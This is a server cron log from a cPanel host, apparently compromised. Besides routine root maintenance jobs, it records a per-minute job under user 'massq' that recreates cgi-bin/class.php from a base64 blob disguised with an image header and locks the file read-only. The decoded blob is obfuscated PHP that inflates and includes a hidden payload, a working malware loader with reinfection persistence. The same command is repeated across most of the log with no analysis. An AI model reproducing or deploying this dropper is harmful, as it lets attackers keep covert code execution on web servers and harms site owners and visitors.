Nov 15 06:09:01 server CROND[4536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:09:01 server CROND[4537]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:10:01 server CROND[4820]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 06:10:01 server CROND[4821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:10:01 server CROND[4823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:10:01 server CROND[4822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:11:01 server CROND[5243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:12:01 server CROND[5523]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:12:01 server CROND[5524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:13:01 server CROND[5792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:14:01 server CROND[6070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:15:01 server CROND[6343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:15:01 server CROND[6344]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:15:01 server CROND[6345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:15:01 server CROND[6346]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:15:01 server CROND[6348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:16:01 server CROND[6802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:17:01 server CROND[7074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:18:01 server CROND[7353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:19:01 server CROND[7679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:20:01 server CROND[7967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 06:20:01 server CROND[7968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:20:01 server CROND[7972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:20:01 server CROND[7970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 06:20:01 server CROND[7969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:21:01 server CROND[8381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
